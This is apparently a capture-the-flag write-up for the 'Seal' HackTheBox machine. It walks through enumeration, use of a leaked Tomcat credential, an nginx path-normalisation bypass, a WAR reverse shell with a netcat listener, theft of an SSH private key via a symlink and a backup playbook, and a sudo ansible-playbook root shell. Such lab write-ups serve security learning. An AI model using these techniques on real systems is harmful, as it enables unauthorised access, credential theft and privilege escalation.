Seal

Feature Image

Seal is a Medium rated Linux machine that tests an attacker on their ability to enumerate Git repositories, bypass reverse proxy restrictions and exploit misconfigurations in automation software.

This machine was retired on 14 November 2021 (SGT).

I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb.

kali@kali:~$ echo "10.10.10.250 seal.htb" | sudo tee -a /etc/hosts

Reconnaissance and Enumeration

Nmap

nmap revealed the following key services:

PortService
22/tcpOpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcpnginx 1.18.0 (Ubuntu)
8080/tcphttp-proxy    GitBucket
kali@kali:~$ nmap -sCV -p- 10.10.10.250
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 23:54 +08
Nmap scan report for 10.10.10.250
Host is up (0.044s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node01xdri6xp8mxmw1uucj9v8j9fcg7803.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node0rqv64fkboshsigbvtmt9wd2k7801.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Tue, 14 Sep 2021 15:54:11 GMT
|     Set-Cookie: JSESSIONID=node0gysgo54d1mn5lejhmefu3lm37802.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=9/14%Time=6140C5A2%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F6,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2014\x2
SF:0Sep\x202021\x2015:54:11\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0rqv64
SF:fkboshsigbvtmt9wd2k7801\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20T
SF:hu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/ht
SF:ml;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,10A,"H
SF:TTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2014\x20Sep\x202021\x2015:54:11
SF:\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0gysgo54d1mn5lejhmefu3lm37802\
SF:.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970
SF:\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllo
SF:w:\x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20tex
SF:t/html;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20cl
SF:ose\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Ver
SF:sion</pre>")%r(FourOhFourRequest,F8,"HTTP/1\.1\x20401\x20Unauthorized\r
SF:\nDate:\x20Tue,\x2014\x20Sep\x202021\x2015:54:11\x20GMT\r\nSet-Cookie:\
SF:x20JSESSIONID=node01xdri6xp8mxmw1uucj9v8j9fcg7803\.node0;\x20Path=/;\x2
SF:0HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r
SF:\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\
SF:r\n")%r(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5
SF:\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2
SF:069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>r
SF:eason:\x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\
SF:.1\x20400\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/
SF:html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20clos
SF:e\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20chara
SF:cter\x20CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20
SF:character\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-
SF:1\r\nContent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Me
SF:ssage\x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pr
SF:e>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.48 seconds

443/tcp (Nginx Web Server)

Website is hosted on a HTTPS port, checking the certificate revealed domain to be seal.htb. Nothing intersting can be seen as of now. Running directory brute force reveals the existence of an admin and manager directories.

kali@kali:~$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://seal.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

images                  [Status: 302, Size: 0, Words: 1, Lines: 1]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1]
icon                    [Status: 302, Size: 0, Words: 1, Lines: 1]
css                     [Status: 302, Size: 0, Words: 1, Lines: 1]
js                      [Status: 302, Size: 0, Words: 1, Lines: 1]
manager                 [Status: 302, Size: 0, Words: 1, Lines: 1]

Accessing the /admin directory on a web browser returns a 404 Not Found. Interestingly it reveals that this web instance is running on an Apache Tomcat (9.0.31) service.

Accessing the /manager directory returns a redirect to /manager/html, after which a 403 Forbidden is returned by Nginx. As of now there is no further information on these 2 services.

8080/tcp (GitBucket)

GitBucket prompts for credentials, but a new account can be created without issue. 2 repositories can be seen: seal_market and infra.

Exploring the seal_market repository, it can be seen that the repository contains the source code and configuration for the Apache Tomcat web deployment.

Under the nginx site configurations, it can be seen that several endpoints (locations) are protected by Client SSL authentication.

Checking the commit history Commit 971f3aa revealed that there is a credential leak for the Apache Tomcat service (tomcat:42MrHBf*z8{Z%).

Exploiting URL Normalisation issue

A finding by Acunetix highlights that a URL normalisation issue exists between Nginx and Apache Tomcat. Apparently ; can be used to prevent Nginx from normalising the URL (from /manager/;/html) to /manager/html, bypassing the location block containing Client SSL authentication checks.

Accessing https://seal.htb/manager/;/html will prompt for credentials. Use the Tomcat credentials obtained previously and authentication will be successful.

Initial Foothold: tomcat

Generate a WAR package to execute a reverse shell and deploy it on the server.

Start a netcat listener and visit the URL of the deployed WAR file (/shell) to trigger the reverse shell.

kali@kali:~$ nc -lvnp 13337
listening on [any] 13337 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.250] 51708
id && hostname
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
seal

Privilege Escalation: luis

cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

This playbook will recursively copy all files in /var/lib/tomcat9/webapps/ROOT/admin/dashboard to /opt/backups/files. The option copy_links=yes will copy the actual file a symlink is pointing to, rather than the symlink itself. This allows us to copy files that are inaccessible by tomcat but accessible by luis. We can abuse this to copy out luis’s SSH private key (Assuming it’s id_rsa since that is the default SSH RSA private key name).

cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
ln -s /home/luis/.ssh/id_rsa

Download the backup archive in /opt/backups/archives, extract it and retrieve the SSH private key of luis.

kali@kali:~$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 15 Sep 2021 07:52:51 AM UTC

  System load:  0.1               Processes:             175
  Usage of /:   48.7% of 9.58GB   Users logged in:       0
  Memory usage: 28%               IPv4 address for eth0: 10.10.10.250
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Sep 15 07:49:09 2021 from 10.10.14.12
luis@seal:~$

user.txt

The user flag is located in the home directory of luis.

luis@seal:~$ ls -l
total 51272
-rw-r--r-- 1 luis luis 52497951 Jan 14  2021 gitbucket.war
-r-------- 1 luis luis       33 Sep 15 06:14 user.txt
luis@seal:~$ cat user.txt
7b01****************************

Privilege Escalation: root

Running sudo -l revelaed that user luis can execute ansible-playbook wih root privileges without password prompt.

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Using GTFOBins, one can see that ansible-playbook can be used to spawn a root shell when executed with sudo.

luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ******************************************************************************************************************************************************************

TASK [Gathering Facts] ************************************************************************************************************************************************************
ok: [localhost]

TASK [shell] **********************************************************************************************************************************************************************
root@seal:/tmp#

root.txt

The root flag is located in the home directory of root.

root@seal:~# ls -l
total 8
-r-------- 1 root root   33 Sep 15 06:14 root.txt
drwxr-xr-x 3 root root 4096 May  7  2021 snap
root@seal:~# cat root.txt
da8e****************************

References and Further Reading